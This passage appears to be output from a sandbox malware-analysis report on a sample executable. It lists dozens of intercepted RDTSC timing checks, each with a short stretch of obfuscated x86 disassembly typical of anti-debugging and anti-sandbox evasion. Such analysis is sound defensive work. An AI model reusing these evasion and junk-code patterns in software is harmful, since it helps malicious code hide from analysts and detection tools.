Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BC248 second address: 11BC27E instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA470BCBE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor dword ptr [esp], 7110D9E1h 0x00000012 mov edi, ebx 0x00000014 push 00000003h 0x00000016 push esi 0x00000017 mov cx, 0DFCh 0x0000001b pop esi 0x0000001c push 00000000h 0x0000001e mov dword ptr [ebp+122D1934h], ebx 0x00000024 push 00000003h 0x00000026 pushad 0x00000027 movsx eax, dx 0x0000002a popad 0x0000002b push 9DC8F7BAh 0x00000030 pushad 0x00000031 pushad 0x00000032 pushad 0x00000033 popad 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BC27E second address: 11BC2CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 je 00007FA47177F546h 0x0000000c jmp 00007FA47177F54Eh 0x00000011 popad 0x00000012 popad 0x00000013 xor dword ptr [esp], 5DC8F7BAh 0x0000001a lea ebx, dword ptr [ebp+12457F0Ah] 0x00000020 sub dx, A7C2h 0x00000025 xchg eax, ebx 0x00000026 jmp 00007FA47177F54Ch 0x0000002b push eax 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FA47177F54Fh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BC2CC second address: 11BC2D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BC2D0 second address: 11BC2D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BC366 second address: 11BC37B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007FA470BCBE6Ch 0x0000000f jl 00007FA470BCBE66h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BC37B second address: 11BC381 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BC381 second address: 11BC385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BC385 second address: 11BC3BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F551h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FA47177F556h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BC3BA second address: 11BC3D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA470BCBE78h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BC3D6 second address: 11BC3E0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA47177F54Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BC3E0 second address: 11BC3FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA470BCBE74h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BC3FE second address: 11BC43D instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA47177F55Bh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 jmp 00007FA47177F558h 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BC43D second address: 11BC50A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FA470BCBE6Bh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c call 00007FA470BCBE78h 0x00000011 je 00007FA470BCBE79h 0x00000017 jmp 00007FA470BCBE73h 0x0000001c pop esi 0x0000001d push 00000003h 0x0000001f mov cl, 05h 0x00000021 push 00000000h 0x00000023 push esi 0x00000024 mov esi, edi 0x00000026 pop edx 0x00000027 push 00000003h 0x00000029 xor dword ptr [ebp+122D1DB5h], eax 0x0000002f pushad 0x00000030 sub dword ptr [ebp+122D1BF4h], edi 0x00000036 jmp 00007FA470BCBE6Ch 0x0000003b popad 0x0000003c push 655CC3CDh 0x00000041 jmp 00007FA470BCBE6Fh 0x00000046 add dword ptr [esp], 5AA33C33h 0x0000004d jmp 00007FA470BCBE73h 0x00000052 lea ebx, dword ptr [ebp+12457F15h] 0x00000058 mov ch, ah 0x0000005a xchg eax, ebx 0x0000005b jmp 00007FA470BCBE70h 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007FA470BCBE79h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11AAF3F second address: 11AAF49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FA47177F546h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DA998 second address: 11DA99D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DA99D second address: 11DA9C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA47177F554h 0x00000008 push edi 0x00000009 pop edi 0x0000000a jns 00007FA47177F546h 0x00000010 popad 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DAC18 second address: 11DAC1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DAC1E second address: 11DAC23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DAC23 second address: 11DAC28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DAC28 second address: 11DAC2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DAC2E second address: 11DAC37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DAC37 second address: 11DAC3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DAC3D second address: 11DAC41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DAD9F second address: 11DADD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FA47177F546h 0x0000000a popad 0x0000000b jno 00007FA47177F55Eh 0x00000011 jns 00007FA47177F548h 0x00000017 jl 00007FA47177F54Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DB089 second address: 11DB08D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DB08D second address: 11DB093 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DB093 second address: 11DB09E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DB09E second address: 11DB109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA47177F556h 0x00000009 popad 0x0000000a push ebx 0x0000000b jmp 00007FA47177F553h 0x00000010 pop ebx 0x00000011 popad 0x00000012 pushad 0x00000013 pushad 0x00000014 jmp 00007FA47177F556h 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e pushad 0x0000001f jmp 00007FA47177F552h 0x00000024 push ebx 0x00000025 pop ebx 0x00000026 push esi 0x00000027 pop esi 0x00000028 popad 0x00000029 pushad 0x0000002a pushad 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DB4D0 second address: 11DB4D7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DB63D second address: 11DB64D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FA47177F546h 0x0000000a je 00007FA47177F546h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DB78A second address: 11DB795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push edi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DB795 second address: 11DB7A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F54Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DB7A6 second address: 11DB7AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DBAB9 second address: 11DBB01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA47177F54Eh 0x00000009 jmp 00007FA47177F54Fh 0x0000000e jmp 00007FA47177F557h 0x00000013 popad 0x00000014 jmp 00007FA47177F54Fh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DBB01 second address: 11DBB16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA470BCBE6Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007FA470BCBE66h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DBB16 second address: 11DBB1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DBDC7 second address: 11DBDCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DBDCD second address: 11DBDD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DC3B8 second address: 11DC3BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DC3BC second address: 11DC3E2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA47177F558h 0x0000000d jp 00007FA47177F546h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DC3E2 second address: 11DC3E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DC3E6 second address: 11DC3EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DC6E1 second address: 11DC719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 jmp 00007FA470BCBE78h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA470BCBE76h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DC719 second address: 11DC747 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FA47177F54Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnc 00007FA47177F54Eh 0x00000011 jmp 00007FA47177F54Ah 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DCB80 second address: 11DCB88 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DCB88 second address: 11DCB8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DCB8E second address: 11DCB9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007FA470BCBE66h 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DFA75 second address: 11DFA79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DFA79 second address: 11DFA83 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA470BCBE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DFA83 second address: 11DFA9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F54Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a js 00007FA47177F550h 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DFF7B second address: 11DFF7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DFF7F second address: 11DFF90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007FA47177F546h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11E00FB second address: 11E0149 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jbe 00007FA470BCBE6Eh 0x0000000e jns 00007FA470BCBE68h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 jne 00007FA470BCBE77h 0x0000001e mov eax, dword ptr [eax] 0x00000020 jmp 00007FA470BCBE71h 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push ecx 0x0000002c pushad 0x0000002d popad 0x0000002e pop ecx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11E0149 second address: 11E0153 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FA47177F546h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11DE757 second address: 11DE75E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11E0334 second address: 11E0338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 119D96B second address: 119D96F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 119D96F second address: 119D97F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FA47177F546h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 119D97F second address: 119D98D instructions: 0x00000000 rdtsc 0x00000002 je 00007FA470BCBE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 119D98D second address: 119D993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 119D993 second address: 119D99C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 119D99C second address: 119D9A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 119D9A2 second address: 119D9A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11E3D1E second address: 11E3D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 js 00007FA47177F56Eh 0x0000000b push ebx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop ebx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11E3D30 second address: 11E3D36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11B32E8 second address: 11B3307 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F54Fh 0x00000007 jc 00007FA47177F546h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11EA5AC second address: 11EA5B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11E9A0F second address: 11E9A15 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11E9A15 second address: 11E9A1A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11E9E67 second address: 11E9E8C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 jg 00007FA47177F558h 0x0000000c jmp 00007FA47177F552h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11E9E8C second address: 11E9EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FA470BCBE66h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jno 00007FA470BCBE6Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11E9EA5 second address: 11E9EAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11E9EAB second address: 11E9EAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11E9EAF second address: 11E9EB5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11EA19F second address: 11EA1AB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnl 00007FA470BCBE66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11EA1AB second address: 11EA1B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11EA2FD second address: 11EA315 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA470BCBE74h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11EADF8 second address: 11EAE8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 xor dword ptr [esp], 3E795DC0h 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007FA47177F548h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 pushad 0x00000029 xor si, 25CFh 0x0000002e movsx ecx, ax 0x00000031 popad 0x00000032 mov esi, dword ptr [ebp+122D25FFh] 0x00000038 call 00007FA47177F549h 0x0000003d jbe 00007FA47177F54Eh 0x00000043 jno 00007FA47177F548h 0x00000049 push eax 0x0000004a jno 00007FA47177F567h 0x00000050 mov eax, dword ptr [esp+04h] 0x00000054 push edi 0x00000055 jg 00007FA47177F548h 0x0000005b push esi 0x0000005c pop esi 0x0000005d pop edi 0x0000005e mov eax, dword ptr [eax] 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 push edx 0x00000064 pop edx 0x00000065 push edi 0x00000066 pop edi 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11EAE8A second address: 11EAEA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007FA470BCBE6Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11EAEA2 second address: 11EAEA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11EAEA6 second address: 11EAEAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11EB600 second address: 11EB606 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11EB997 second address: 11EB9B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA470BCBE6Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007FA470BCBE6Ch 0x00000012 rdtsc
